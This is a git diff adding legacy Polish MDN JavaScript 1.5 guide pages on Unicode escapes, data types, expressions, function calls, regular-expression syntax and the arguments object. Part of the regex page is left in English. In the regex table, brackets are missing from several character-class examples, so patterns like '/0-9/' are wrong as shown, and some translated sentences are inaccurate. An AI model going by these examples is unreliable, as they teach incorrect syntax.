+<p>Możesz użyć sekwencje ucieczki do Unicode w literałach łańcuchowych, wyrażeniach regularnych i identyfikatorach. Sekwencja ucieczki sześciu znaków ASCII: <b>\u</b> i czterocyfrowa liczba heksadecymalna. Na przykład, <b>\u00A9</b> reprezentuje symbol <i>copyright</i>. Każda sekwencja ucieczki Unicode w JavaScript-ie jest interpretowana jako jeden znak.
+</p><p>Następujący kod zawiera symbol <i>copyright</i> i napis "<i>Netscape Communications</i>".
+</p>
+<pre>x="\u00A9 Netscape Communications"</pre>
+<p>Następująca tabela jest listą często używanych specjalnych znaków i ich wartości Unicode. </p>
+<table class="fullwidth-table">
+<tbody><tr>
+<th>Kategoria</th>
+<th>Wartość Unicode</th>
+<th>Nazwa</th>
+<th>Nazwa formatowania</th>
+</tr>
+<tr>
+<td>Białe spacje</td>
+<td><b>\u0009</b></td>
+<td><b>Tab</b></td>
+<td>&lt;<b>TAB&gt;</b></td>
+</tr>
+<tr>
+<td> </td>
+<td><b>\u000B</b></td>
+<td><b>Pionowy tabulator</b></td>
+<td><b>&lt;VT&gt;</b></td>
+</tr>
+<tr>
+<td> </td>
+<td><b>\u000C</b></td>
+<td><b>Z kanału</b></td>
+<td><b>&lt;FF&gt;</b></td>
+</tr>
+<tr>
+<td> </td>
+<td><b>\u0020</b></td>
+<td><b>Spacja</b></td>
+<td><b>&lt;SP&gt;</b></td>
+</tr>
+<tr>
+<td>Linia kończąca wartość</td>
+<td><b>\u000A</b></td>
+<td><b>Line Feed</b></td>
+<td><b>&lt;LF&gt;</b></td>
+</tr>
+<tr>
+<td> </td>
+<td><b>\u000D</b></td>
+<td><b>Powrót karetki</b></td>
+<td><b>&lt;CR&gt;</b></td>
+</tr>
+<tr>
+<td>Dodatkowe znaki ucieczki Unicode</td>
+<td><b>\u0008</b></td>
+<td><b>Backspace</b></td>
+<td><b>&lt;BS&gt;</b></td>
+</tr>
+<tr>
+<td> </td>
+<td><b>\u0009</b></td>
+<td><b>Poziomy tabulator</b></td>
+<td><b>&lt;HT&gt;</b></td>
+</tr>
+<tr>
+<td> </td>
+<td><b>\u0022</b></td>
+<td><b>Podwójny cudzysłów</b></td>
+<td>"</td>
+</tr>
+<tr>
+<td> </td>
+<td><b>\u0027</b></td>
+<td><b>Pojedynczy cudzysłów</b></td>
+<td>'</td>
+</tr>
+<tr>
+<td> </td>
+<td><b>\u005C</b></td> <td><b>Backslash</b></td>
+<td><b>\</b></td>
+</tr>
+</tbody></table>
+<p><small><b>Tabela: Wartości Unicode dla specjalnych czcionek</b></small>
+</p><p>JavaScript używa sekwencje znaku ucieczki Unicode i jest ona inna niż w Javie. W JavaScript-ie, sekwencja ucieczki nigdy nie interpretuje jako pierwsza znaków specjalnych. Przykładowo, znak końca linii sekwencji ucieczki nie zakańcza ciągu zanim nie jest on zinterpretowany przez funkcje. JavaScript ignoruje każdą sekwencje ucieczki, jeśli jest ona użyta w komentarzu. W Javie, jeśli sekwencja ucieczki używana jest w pojedynczej linii komentarza interpretowana jest wtedy jako znak Unicode. W ciągu literałów kompilator Javy interpretuje wpierw sekwencje ucieczki. Przykładowo, w przypadku użycia w Javie znaku końca linii (\u000A), zakańcza on literał ciągu. W Javie doprowadza to do wystąpienia błędu, ponieważ znaki końca linii nie są dozwolone w literałach ciągów. Musisz użyć \n do zakończenia linii w literałach. W JavaScript-ie sekwencja ucieczki działa tak samo jak \n.
+</p>
+<div class="note">Program do konwersji długich ciągów znaków <a class="external" href="http://www.hot-tips.co.uk/useful/unicode_converter.HTML">Hot-Tips' Unicode Converter</a>, autorstwa Bob Foley.</div>
+<h4 id="Wy.C5.9Bwietlanie_czcionek_z_Unicode" name="Wy.C5.9Bwietlanie_czcionek_z_Unicode"> Wyświetlanie czcionek z Unicode </h4>
+<p>Można używać Unicode do wyświetlania znaków w rożnych językach lub technicznych symboli. Dla poprawnego wyświetlania klient tj. Netscape Navigator 4.x lub Netscape 6 musi wspomagać Unicode. Dodatkowo odpowiednia czcionka Unicode musi być dostępna dla klienta, jak i platforma klienta musi wspomagać Unicode. Często zdarza się, że czcionki Unicode nie wyświetlają wszystkich znaków. Niektóre platformy tj. Windows 95 posiadają tylko częściowe wsparcie Unicode.
+</p><p>W celu pobrania znaku typu non-ASCII klient musi go wysłać w kodzie Unicode. Używając standardowej rozszerzonej klawiatury klient nie może łatwo wyświetlić dodatkowych znaków wspieranych przez Unicode. Czasami jedynym sposobem na wyświetlenie znaków w kodzie Unicode jest użycie sekwencji ucieczki Unicode.
+</p><p>Więcej informacji o Unicode, zobacz <a class="external" href="http://www.unicode.org/">Unicode Consortium Web site</a> i The Unicode Standard, Version 2.0, wydane przez Addison-Wesley, 1996.
+</p><p>{{ PreviousNext("Przewodnik_po_j%C4%99zyku_JavaScript_1.5:Litera%C5%82y#Litera.C5.82y_znakowe", "Przewodnik po języku JavaScript 1.5:Wyrażenia") }}
+</p>
+<div class="noinclude">
+</div>
+{{ languages( { "en": "en/Core_JavaScript_1.5_Guide/Unicode", "es": "es/Gu\u00eda_JavaScript_1.5/Unicode", "fr": "fr/Guide_JavaScript_1.5/Unicode", "ja": "ja/Core_JavaScript_1.5_Guide/Unicode", "ko": "ko/Core_JavaScript_1.5_Guide/Unicode" } ) }}
diff --git a/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_języku_javascript_1.5/wartości/index.html b/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_języku_javascript_1.5/wartości/index.html
new file mode 100644
index 0000000000..fc0464bd3a
--- /dev/null
+++ b/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_języku_javascript_1.5/wartości/index.html
@@ -0,0 +1,46 @@
+---
+title: Wartości
+slug: >-
+ Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_języku_JavaScript_1.5/Wartości
+tags:
+ - JavaScript
+ - Przewodnik_JavaScript
+ - Wszystkie_kategorie
+translation_of: Web/JavaScript/Guide/Grammar_and_types
+---
+<p>
+</p>
+<h3 id="Warto.C5.9Bci" name="Warto.C5.9Bci"> Wartości </h3>
+<p>JavaScript rozróżnia następujące typy:
+</p>
+<ul><li> <a href="pl/Dokumentacja_j%c4%99zyka_JavaScript_1.5/Obiekty/Number">Liczby (Number)</a>, takie jak 42 lub 3.14159
+</li><li> <a href="pl/Dokumentacja_j%c4%99zyka_JavaScript_1.5/Obiekty/Boolean">Logiczne (Boolean)</a> wartość, <code>true</code> albo <code>false</code>
+</li><li> <a href="pl/Dokumentacja_j%c4%99zyka_JavaScript_1.5/Obiekty/String">Łańcuchy znakowe (String)</a>, takie jak "Siema!"
+</li><li> <code>null</code>, specjalne słowo oznaczające wartość null (pustą); <code>null</code> jest także wartością prymitywną; ponieważ JavaScript rozróżnia małe/duże litery, null to nie to samo co Null, NULL czy jakkolwiek inaczej. </li><li> <code>undefined</code> podstawowa właściwość, której wartość jest nieokreślona; <code>undefined</code> także jest wartością prymitywną.
+</li></ul>
+<p>Ten względnie niewielki zestaw typów wartości - lub <i>typów danych</i> - pozwala wyposażyć Twoją aplikację w wiele użytecznych funkcji. Nie występuje wyraźna różnica pomiędzy liczbami całkowitymi a wartościami rzeczywistymi, tak jak i w JavaScript nie ma w ogóle jawnego rozróżnienia typów danych. Możesz jednak, przykładowo, użyć obiektu <code>Date</code> oraz jego metod do obsługi dat.
+</p><p><a href="pl/Dokumentacja_j%c4%99zyka_JavaScript_1.5/Obiekty/Object">Obiekty</a> i <a href="pl/Dokumentacja_j%c4%99zyka_JavaScript_1.5/Obiekty/Function">funkcje</a> to inne podstawowe elementy języka. Obiekty można sobie wyobrazić jako nazwane pojemniki na wartości, a funkcje jako procedury, które są wykonywane przez Twoją aplikację.
+</p>
+<h4 id="Konwersja_typu_danych" name="Konwersja_typu_danych"> Konwersja typu danych </h4>
+<p>JavaScript jest językiem programowania o dynamicznych typach. Oznacza to, że przy deklaracji zmiennej nie musisz określać jej typu. Typy danych w razie potrzeby są automatycznie konwertowane w trakcie wykonywania skryptu. Możemy, przykładowo, zadeklarować zmienną następująco: </p>
+<pre class="eval"><a href="pl/Dokumentacja_j%c4%99zyka_JavaScript_1.5/Polecenia/var">var</a> odpowiedz = 42
+</pre>
+<p>a później przypisać tej samej zmiennej wartość tekstową, na przykład:
+</p>
+<pre>odpowiedz = "Dziękuję za wszystkie ryby..."
+</pre>
+<p>Ponieważ JavaScript posiada dynamiczne typy, przypisanie to nie powoduje komunikatu błędu.
+</p><p>W wyrażeniach z operatorem <i>+</i> zawierających wartość tekstową oraz numeryczną, JavaScript konwertuje wartości numeryczne na tekst. Przyjrzyjmy się następującym instrukcjom. </p>
+<pre>x = "Odpowiedzią jest " + 42 // zwraca "Odpowiedzią jest 42"
+y = 42 + " jest odpowiedzią" // zwraca "42 jest odpowiedzią"
+</pre>
+<p>W wyrażeniach z innymi operatorami, JavaScript nie konwertuje wartości numerycznej do postaci tekstowej. Na przykład: </p>
+<pre>"37" - 7 // zwraca 30
+"37" + 7 // zwraca 377
+</pre>
+<p><br>
+{{ PreviousNext("Przewodnik po języku JavaScript 1.5:Przegląd JavaScriptu", "Przewodnik po języku JavaScript 1.5:Zmienne") }}
+</p>
+<div class="noinclude">
+</div>
+{{ languages( { "en": "en/Core_JavaScript_1.5_Guide/Values", "es": "es/Gu\u00eda_JavaScript_1.5/Valores", "fr": "fr/Guide_JavaScript_1.5/Valeurs", "ja": "ja/Core_JavaScript_1.5_Guide/Values", "ko": "ko/Core_JavaScript_1.5_Guide/Values", "zh-cn": "cn/Core_JavaScript_1.5_Guide/Values" } ) }}
diff --git a/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_języku_javascript_1.5/wyrażenia/index.html b/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_języku_javascript_1.5/wyrażenia/index.html
new file mode 100644
index 0000000000..994db44f93
--- /dev/null
+++ b/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_języku_javascript_1.5/wyrażenia/index.html
@@ -0,0 +1,22 @@
+---
+title: Wyrażenia
+slug: >-
+ Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_języku_JavaScript_1.5/Wyrażenia
+tags:
+ - JavaScript
+ - Przewodnik_JavaScript
+ - Wszystkie_kategorie
+translation_of: Web/JavaScript/Guide/Expressions_and_Operators
+---
+<p>
+</p>
+<h3 id="Wyra.C5.BCenia" name="Wyra.C5.BCenia"> Wyrażenia </h3>
+<p>Wyrażenia (<i>expression</i>) są ważnym ustawieniem literałów, zmiennych, operatorów oraz wyrażeń które są wykonywane dla pojedynczej wartości; wartością tą może być liczba, znak, lub wartość logiczną. </p><p>Konceptualnie, są dwa typy wyrażeń: te, które próbują przypisać wartość do zmiennych, i te, które po prostu posiadają wartość. Na przykład, wyrażenie x=7 jest wyrażeniem, które przydziela 7 wartości x. Wyrażenie to samo sprawdza liczbę siedem, podobnie także zachowuje się wyrażenie użyte w "przydzielonych operatorach". Z drugiej strony, możemy powiedzieć, że wyrażenie proste 3 + 4 staje się siódemką; lecz w taki sposób nie można dokonać przydzielenia. Operatory użyte jak wyrażenia są kierowane prosto jako <i>operatory</i>.
+</p><p>JavaScript posiada następujące typy wyrażeń:
+</p>
+<ul><li> <a href="pl/Przewodnik_po_j%c4%99zyku_JavaScript_1.5/Operatory/Operatory_arytmetyczne">Arytmetyczne</a>: ocenia liczby, na przykład 3.14159
+</li><li> <a href="pl/Przewodnik_po_j%c4%99zyku_JavaScript_1.5/Operatory/Operacje_na_%c5%82a%c5%84cuchach">Łańcuchowe</a>: ocenia łańcuch znaków, na przykład, "Fred" lub "234"
+</li><li> <a href="pl/Przewodnik_po_j%c4%99zyku_JavaScript_1.5/Operatory/Operatory_logiczne">Logiczne</a>: ocenia czy warunek jest prawdziwy czy fałszywy. </li><li> Obiektowe: ocenia obiekt (Zobacz: <a href="pl/Przewodnik_po_j%c4%99zyku_JavaScript_1.5/Operatory/Operatory_specjalne">Operatory specjalne</a>)
+</li></ul>
+<p>{{ PreviousNext("Przewodnik_po_j%C4%99zyku_JavaScript_1.5:Unicode#Wy.C5.9Bwietlanie_czcionek_z_Unicode", "Przewodnik po języku JavaScript 1.5:Operatory") }}
+</p>{{ languages( { "en": "en/Core_JavaScript_1.5_Guide/Expressions", "fr": "fr/Guide_JavaScript_1.5/Expressions", "ja": "ja/Core_JavaScript_1.5_Guide/Expressions" } ) }}
diff --git a/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_języku_javascript_1.5/wywołanie_funkcji/index.html b/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_języku_javascript_1.5/wywołanie_funkcji/index.html
new file mode 100644
index 0000000000..330237eed8
--- /dev/null
+++ b/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_języku_javascript_1.5/wywołanie_funkcji/index.html
@@ -0,0 +1,45 @@
+---
+title: Wywołanie funkcji
+slug: >-
+ Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_języku_JavaScript_1.5/Wywołanie_funkcji
+tags:
+ - JavaScript
+ - Przewodnik_JavaScript
+ - Wszystkie_kategorie
+translation_of: Web/JavaScript/Guide/Functions
+---
+<p> </p>
+
+<h3 id="Wywo.C5.82anie_funkcji" name="Wywo.C5.82anie_funkcji">Wywołanie funkcji</h3>
+
+<p>Definiowanie funkcji nie powoduje ich wykonania. Definiowanie funkcji po prostu ją wywołuje oraz określa co dana funkcja ma robić po wywołaniu. <em>Wywołanie</em> funkcji określa właściwą akcje z ustalonymi parametrami. Dla przykładu, gdy chcesz zdefiniować funkcje potęgowania należałoby wywołać ją następująco:</p>
+
+<pre>square(5)
+</pre>
+
+<p>Powyższe stwierdzenie wywołuje funkcje z argumentem 5. Funkcja zostaje wykonana i zwraca wartość równą 25.</p>
+
+<p>Argumenty funkcji nie ograniczają się wyłącznie do łańcuchów znaków lub liczb. Można również przekazywać całe obiekty. Funkcja <code>show_props</code> (zdefiniowane w <a href="/pl/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Obiekty_i_w%C5%82asno%C5%9Bci" title="pl/Przewodnik_po_języku_JavaScript_1.5/Obiekty_i_własności">obiekty i własności</a>) może posłużyć za przykład funkcji, gdzie argumentem jest obiekt.</p>
+
+<p>Funkcja może być rekurencyjna  tj. wywoływać samą siebie. Przykładem może być funkcja licząca silnię:</p>
+
+<pre>function silnia(n) {
+ if ((n == 0) || (n == 1))
+ return 1
+ else {
+ var result = (n * silnia(n-1) );
+ return result
+ }
+}
+</pre>
+
+<p>Można policzyć silnię od 1 do 5:</p>
+
+<pre>a=silnia(1) // zwraca 1
+b=silnia(2) // zwraca 2
+c=silnia(3) // zwraca 6
+d=silnia(4) // zwraca 24
+e=silnia(5) // zwraca 120
+</pre>
+
+<p>{{ languages( { "en": "en/Core_JavaScript_1.5_Guide/Calling_Functions", "fr": "fr/Guide_JavaScript_1.5/Appel_de_fonctions", "ja": "ja/Core_JavaScript_1.5_Guide/Calling_Functions" } ) }}</p>
diff --git a/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_języku_javascript_1.5/zapisywanie_wzorca_wyrażenia_regularnego/index.html b/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_języku_javascript_1.5/zapisywanie_wzorca_wyrażenia_regularnego/index.html
new file mode 100644
index 0000000000..65c13b3816
--- /dev/null
+++ b/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_języku_javascript_1.5/zapisywanie_wzorca_wyrażenia_regularnego/index.html
@@ -0,0 +1,215 @@
+---
+title: Zapisywanie wzorca wyrażenia regularnego
+slug: >-
+ Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_języku_JavaScript_1.5/Zapisywanie_wzorca_wyrażenia_regularnego
+tags:
+ - JavaScript
+ - Przewodnik_JavaScript
+ - Strony_wymagające_dopracowania
+ - Wszystkie_kategorie
+---
+<h3 id="Zapisywanie_wzorca_wyra.C5.BCenia_regularnego" name="Zapisywanie_wzorca_wyra.C5.BCenia_regularnego">Zapisywanie wzorca wyrażenia regularnego</h3>
+
+<p>Wzorzec wyrażenia regularnego składa się ze znaków prostych takich jak <code>/abc/</code> lub kombinacji znaków prostych i specjalnych, jak np. <code>/ab*c/</code> lub <code>/Rozdział (\d+)\.\d*/</code>. Ostatni przykład zawiera nawiasy, które działają jak urządzenie pamięci. Wzorzec w nawiasie użyty w tym porównaniu jest zapamiętywany w celu umożliwienia ponownego użycia, tak jak zostało to opisane w <a href="pl/Przewodnik_po_j%c4%99zyku_JavaScript_1.5/Praca_z_wyra%c5%bceniami_regularnymi/U%c5%bcycie_odpowiedniego_znaku">Using Parenthesized Substring Matches</a>.</p>
+
+<p> </p>
+
+<h4 id="U.C5.BCywanie_prostych_wzorc.C3.B3w" name="U.C5.BCywanie_prostych_wzorc.C3.B3w">Używanie prostych wzorców</h4>
+
+<p>Proste wzorce tworzone są za pomocą znaków, z których ma składać się poszukiwany wynik. Przykładowo wzorzec /abc/ pasuje do kombinacji znaków w łańcuchach znaków tylko wtedy, gdy znaki 'abc' pojawiają się razem i dokładnie w takiej kolejności. Sukcesem zakończy się poszukiwanie tych znaków w łańcuchu "Cześć, znasz literki abc?" i "Najnowszym modelem samolotu jest slabcraft". W obydwu przypadkach występuje podciąg 'abc'. Nie zostaną za to zwrócone żadne wyniki w łańcuchu "abecadło z nieba spadło", ponieważ nie zawiera on podciągu 'abc'.</p>
+
+<h4 id="U.C5.BCywanie_znak.C3.B3w_specjalnych" name="U.C5.BCywanie_znak.C3.B3w_specjalnych">Używanie znaków specjalnych</h4>
+
+<p>When the search for a match requires something more than a direct match, such as finding one or more b's, or finding white space, the pattern includes special characters. For example, the pattern <code>/ab*c/</code> matches any character combination in which a single 'a' is followed by zero or more 'b's (* means 0 or more occurrences of the preceding item) and then immediately followed by 'c'. In the string "cbbabbbbcdebc," the pattern matches the substring 'abbbbc'.</p>
+
+<p>Poniższa tabela zawiera kompletny wykaz znaków specjalnych wraz z opisem stosowanych w wyrażeniach regularnych.</p>
+
+<table class="fullwidth-table">
+ <tbody>
+ <tr>
+ <th>Znak</th>
+ <th>Znaczenie</th>
+ </tr>
+ <tr>
+ <td>\</td>
+ <td>jedno z poniższych:
+ <ul>
+ <li>przed znakami rozumianymi zazwyczaj dosłownie oznacza, że znak ten jest znakiem specjalnym i nie jest rozumiany dosłownie. Na przykład /b/ oznacza znak 'b'. Umieszczenie przed 'b' ukośnika lewego (<em>backslash</em> ) powoduje, że znak ten oznacza ogranicznik słowa.</li>
+ </ul>
+
+ <ul>
+ <li>przed znakami specjalnymi oznacza, że znak ten nie jest specjalny i jest rozumiany dosłownie. Na przykład * jest znakiem specjalnym, który oznacza 0 lub więcej wystąpień znaku poprzedzającego; np. /a*/ oznacza 0 lub więcej znaków 'a'. Aby uzyskać znak dosłowny *, należy poprzedzić go ukośnikiem lewym; np. /a\*a/ oznacza 'a*a'.</li>
+ </ul>
+ </td>
+ </tr>
+ <tr>
+ <td>^</td>
+ <td>Pasuje do początku wpisywanego tekstu. Jeśli flaga multiline (wiele linii) jest ustawiona na true, dodatkowo pasuje do każdej nowej linii.
+ <p>Np. <code>/^A/</code> nie da nam w efekcie 'A' w łańcuchu "an A", ale da nam 'A' w łańcuchu "An A"</p>
+ </td>
+ </tr>
+ <tr>
+ <td>$</td>
+ <td>Pasuje do końca wprowadzanych danych. Jeśli flaga multiline jest ustawiona na true, to pasuje również do każdego zakończenia linii. Np. <code>/t$/</code> zwróci 't' z "eat", ale nie z "eater"</td>
+ </tr>
+ <tr>
+ <td>*</td>
+ <td>Pasuje jeśli poprzedzający znak wystąpił 0 bądź więcej razy.
+ <p>Np. <code>/bo*/</code> zwróci 'boooo' z "A Ghost booooed" oraz 'b' z "A bird warbled", ale nie zwróci nic z łańcucha "A goat grunted".</p>
+ </td>
+ </tr>
+ <tr>
+ <td>+</td>
+ <td>Pasuje jeśli poprzedzający znak wystąpił 1 lub więcej razy. Równoważne z {1,} Np. <code>/a+/</code> dopasuje 'a' z łańcucha "candy" oraz wszystkie literki a w "caaaaaaandy".</td>
+ </tr>
+ <tr>
+ <td>?</td>
+ <td>Pasuje jeśli poprzedzający znak wystąpił raz lub nie wystąpił wcale.
+ <p>Np. <code>/e?le?/</code> dopasuje 'el' w łańcuchu "angel" oraz 'le' w "angle".</p>
+
+ <p>Jeśli ? wystąpi zaraz za *, +, ? lub {}, to znaki te będą zwracały najkrótsze możliwe dopasowania, w przeciwieństwie do zwykłego zachowania, które możemy określić jako zachłanne (zwraca najdłuższe możliwe dopasowania).</p>
+
+ <p>Np. <code>/bo*?/</code> zwróci 'b' z "A Ghost booooed".</p>
+ Znak ten używamy też w<em>lookahead assertions</em> , wyjaśnione w komórkach x(?=y) i x(?!y) w tej tabeli.</td>
+ </tr>
+ <tr>
+ <td>.</td>
+ <td>(kropka) pasuje do każdego pojedynczego znaku oprócz znaku nowej linii. Np. <code>/.n/</code> z łańcucha "nay, an apple is on the tree", dopasuje 'an' i 'on', ale nie 'nay'.</td>
+ </tr>
+ <tr>
+ <td>(x)</td>
+ <td>Matches 'x' and remembers the match. These are called capturing parentheses. For example, <code>/(foo)/</code> matches and remembers 'foo' in "foo bar." The matched substring can be recalled from the resulting array's elements <code>1</code>, ..., <code>n</code>.</td>
+ </tr>
+ <tr>
+ <td>(?:x)</td>
+ <td>Matches 'x' but does not remember the match. These are called non-capturing parentheses. The matched substring can not be recalled from the resulting array's elements <code>1</code>, ..., <code>n</code>.</td>
+ </tr>
+ <tr>
+ <td>x(?=y)</td>
+ <td>Matches 'x' only if 'x' is followed by 'y'. For example, <code>/Jack(?=Sprat)/</code> matches 'Jack' only if it is followed by 'Sprat'. <code>/Jack(?=Sprat|Frost)/</code> matches 'Jack' only if it is followed by 'Sprat' or 'Frost'. However, neither 'Sprat' nor 'Frost' is part of the match results.</td>
+ </tr>
+ <tr>
+ <td>x(?!y)</td>
+ <td>Matches 'x' only if 'x' is not followed by 'y'. For example, <code>/\d+(?!\.)/</code> matches a number only if it is not followed by a decimal point. The regular expression <code>/\d+(?!\.)/.exec("3.141")</code> matches '141' but not '3.141'.</td>
+ </tr>
+ <tr>
+ <td>x|y</td>
+ <td>oznacza 'x' lub 'y'. Na przykład <code>/green|red/</code> pasuje do 'green' w "green apple" i do 'red' w "red apple."</td>
+ </tr>
+ <tr>
+ <td>{n}</td>
+ <td>gdzie n jest liczbą całkowitą dodatnią. Oznacza dokładnie n wystąpień znaku poprzedzającego. Na przykład <code>/a{2}/</code> nie pasuje do 'a' w "candy,", za to pasuje do wszystkich znaków 'a' w "caandy," i pierwszych dwóch znaków 'a' w "caaandy."</td>
+ </tr>
+ <tr>
+ <td>{n,}</td>
+ <td>Where n is a positive integer. Matches at least n occurrences of the preceding character. For example, <code>/a{2,}/</code> doesn't match the 'a' in "candy", but matches all of the a's in "caandy" and in "caaaaaaandy."</td>
+ </tr>
+ <tr>
+ <td>{n,m}</td>
+ <td>Where n and m are positive integers. Matches at least n and at most m occurrences of the preceding character. For example, <code>/a{1,3}/</code> matches nothing in "cndy", the 'a' in "candy," the first two a's in "caandy," and the first three a's in "caaaaaaandy" Notice that when matching "caaaaaaandy", the match is "aaa", even though the original string had more a's in it.</td>
+ </tr>
+ <tr>
+ <td><code>xyz</code></td>
+ <td>zestaw znaków. Pasuje do każdego znaku w nawiasie. Można określić zakres znaków za pomocą łącznika. Na przykład <code>abcd</code> oznacza to samo co <code>a-d</code>. Pasują one do 'b' w "brisket" i do 'c' w "ache".</td>
+ </tr>
+ <tr>
+ <td><code>^xyz</code></td>
+ <td>A negated or complemented character set. That is, it matches anything that is not enclosed in the brackets. You can specify a range of characters by using a hyphen. For example, <code>^abc</code> is the same as <code>^a-c</code>. They initially match 'r' in "brisket" and 'h' in "chop."</td>
+ </tr>
+ <tr>
+ <td><code>\\b</code></td>
+ <td>Matches a backspace. (Not to be confused with \b.)</td>
+ </tr>
+ <tr>
+ <td>\b</td>
+ <td>Matches a word boundary, such as a space or a newline character. (Not to be confused with <code>\\b</code>.) For example, <code>/\bn\w/</code> matches the 'no' in "noonday";<code>/\wy\b/</code> matches the 'ly' in "possibly yesterday."</td>
+ </tr>
+ <tr>
+ <td>\B</td>
+ <td>Matches a non-word boundary. For example, <code>/\w\Bn/</code> matches 'on' in "noonday", and <code>/y\B\w/</code> matches 'ye' in "possibly yesterday."</td>
+ </tr>
+ <tr>
+ <td>\cX</td>
+ <td>Where X is a control character. Matches a control character in a string. For example, <code>/\cM/</code> matches control-M in a string.</td>
+ </tr>
+ <tr>
+ <td>\d</td>
+ <td>Matches a digit character. Equivalent to <code>0-9</code>. For example, <code>/\d/</code> or <code>/0-9/</code> matches '2' in "B2 is the suite number."</td>
+ </tr>
+ <tr>
+ <td>\D</td>
+ <td>Matches any non-digit character. Equivalent to <code>^0-9</code>. For example, <code>/\D/</code> or <code>/^0-9/</code> matches 'B' in "B2 is the suite number."</td>
+ </tr>
+ <tr>
+ <td>\f</td>
+ <td>Matches a form-feed.</td>
+ </tr>
+ <tr>
+ <td>\n</td>
+ <td>Matches a linefeed.</td>
+ </tr>
+ <tr>
+ <td>\r</td>
+ <td>Matches a carriage return.</td>
+ </tr>
+ <tr>
+ <td>\s</td>
+ <td>Matches a single white space character, including space, tab, form feed, line feed. Equivalent to
+ <p><code>\\f\\n\\r\\t\\v\\u00A0\\u2028\\u2029</code>.</p>
+ For example, <code>/\s\w*/</code> matches ' bar' in "foo bar."</td>
+ </tr>
+ <tr>
+ <td>\S</td>
+ <td>Matches a single character other than white space. Equivalent to
+ <p><code>^ \\f\\n\\r\\t\\v\\u00A0\\u2028\\u2029</code>.</p>
+ For example, <code>/\S\w*/</code> matches 'foo' in "foo bar."</td>
+ </tr>
+ <tr>
+ <td>\t</td>
+ <td>Matches a tab.</td>
+ </tr>
+ <tr>
+ <td>\v</td>
+ <td>Matches a vertical tab.</td>
+ </tr>
+ <tr>
+ <td>\w</td>
+ <td>Matches any alphanumeric character including the underscore. Equivalent to <code>A-Za-z0-9_</code>. For example, <code>/\w/</code> matches 'a' in "apple," '5' in "$5.28," and '3' in "3D."</td>
+ </tr>
+ <tr>
+ <td>\W</td>
+ <td>Matches any non-word character. Equivalent to <code>^A-Za-z0-9_</code>. For example, <code>/\W/</code> or <code>/^A-Za-z0-9_/</code> matches '%' in "50%."</td>
+ </tr>
+ <tr>
+ <td>\n</td>
+ <td>Where n is a positive integer. A back reference to the last substring matching the n parenthetical in the regular expression (counting left parentheses). For example, <code>/apple(,)\sorange\1/</code> matches 'apple, orange,' in "apple, orange, cherry, peach."</td>
+ </tr>
+ <tr>
+ <td>\0</td>
+ <td>Matches a NUL character. Do not follow this with another digit.</td>
+ </tr>
+ <tr>
+ <td>\xhh</td>
+ <td>Matches the character with the code hh (two hexadecimal digits)</td>
+ </tr>
+ <tr>
+ <td>\uhhhh</td>
+ <td>Matches the character with the code hhhh (four hexadecimal digits).</td>
+ </tr>
+ </tbody>
+</table>
+
+<p><small><strong>Tabela 4.1: Znaki specjalne w wyrażeniach regularnych.</strong></small></p>
+
+<h4 id="U.C5.BCywanie_nawias.C3.B3w" name="U.C5.BCywanie_nawias.C3.B3w">Używanie nawiasów</h4>
+
+<p>Parentheses around any part of the regular expression pattern cause that part of the matched substring to be remembered. Once remembered, the substring can be recalled for other use, as described in <a href="pl/Przewodnik_po_j%c4%99zyku_JavaScript_1.5/Praca_z_wyra%c5%bceniami_regularnymi/U%c5%bcycie_odpowiedniego_znaku">Using Parenthesized Substring Matches</a>.</p>
+
+<p>For example, the pattern <code>/Chapter (\d+)\.\d*/</code> illustrates additional escaped and special characters and indicates that part of the pattern should be remembered. It matches precisely the characters 'Chapter ' followed by one or more numeric characters (\d means any numeric character and + means 1 or more times), followed by a decimal point (which in itself is a special character; preceding the decimal point with \ means the pattern must look for the literal character '.'), followed by any numeric character 0 or more times (\d means numeric character, * means 0 or more times). In addition, parentheses are used to remember the first matched numeric characters.</p>
+
+<p>This pattern is found in "Open Chapter 4.3, paragraph 6" and '4' is remembered. The pattern is not found in "Chapter 3 and 4", because that string does not have a period after the '3'.</p>
+
+<p>To match a substring without causing the matched part to be remembered, within the parentheses preface the pattern with <code>?:</code>. For example, <code>(?:\d+)</code> matches one or more numeric characters but does not remember the matched characters.</p>
+
+<p><br>
+ {{ PreviousNext("Przewodnik_po_języku_JavaScript_1.5:Tworzenie_wyrażenia_regularnego", "Przewodnik_po_języku_JavaScript_1.5:Praca_z_wyrażeniami_regularnymi") }}</p>
diff --git a/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_języku_javascript_1.5/zastosowanie_obiektu_arguments/index.html b/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_języku_javascript_1.5/zastosowanie_obiektu_arguments/index.html
new file mode 100644
index 0000000000..8422fdf2c0
--- /dev/null
+++ b/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_języku_javascript_1.5/zastosowanie_obiektu_arguments/index.html
@@ -0,0 +1,41 @@
+---
+title: Zastosowanie obiektu arguments
+slug: >-
+ Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_języku_JavaScript_1.5/Zastosowanie_obiektu_arguments
+tags:
+ - JavaScript
+ - Przewodnik_JavaScript
+ - Wszystkie_kategorie
+---
+<p> </p>
+<h3 id="Zastosowanie_obiektu_arguments" name="Zastosowanie_obiektu_arguments">Zastosowanie obiektu <code>arguments</code></h3>
+<p>Argumenty funkcji będą je utrzymywać je w tablicy. Wewnątrz funkcji, możemy zaadresować lub przydzielić argumenty w następujący sposób:</p>
+<pre>arguments[i]
+</pre>
